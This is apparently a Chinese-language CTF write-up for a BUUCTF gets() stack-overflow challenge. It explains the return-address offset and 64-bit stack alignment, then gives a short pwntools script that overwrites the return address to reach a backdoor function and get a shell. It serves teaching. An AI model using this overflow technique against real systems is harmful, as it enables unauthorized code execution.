Gets 栈溢出(堆栈平衡)

Gets 栈溢出(堆栈平衡)

话不多说,直接上题(BUUCTF)

Gets 栈溢出(堆栈平衡)-侠者安全社区

IDA64 反编译

Gets 栈溢出(堆栈平衡)-侠者安全社区

去找后门函数

Gets 栈溢出(堆栈平衡)-侠者安全社区

记录地址

Gets 栈溢出(堆栈平衡)-侠者安全社区

缓冲区 s 存在明显栈溢出

Gets 栈溢出(堆栈平衡)-侠者安全社区

15 + 8 覆盖掉这段地址到 r 返回地址中

64 位系统还需要保持一个栈平衡,需要找 lea 的地址或者该函数结束即 retn 的地址

当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前

esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址一定要是 call 指令的下一个地址

Gets 栈溢出(堆栈平衡)-侠者安全社区

编写脚本

from pwn import *

p = remote("node5.buuoj.cn", 26964)

payload = b'a' * 23 + p64(0x401198) + p64(0x401186)

p.sendline(payload)
p.interactive()

成功拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容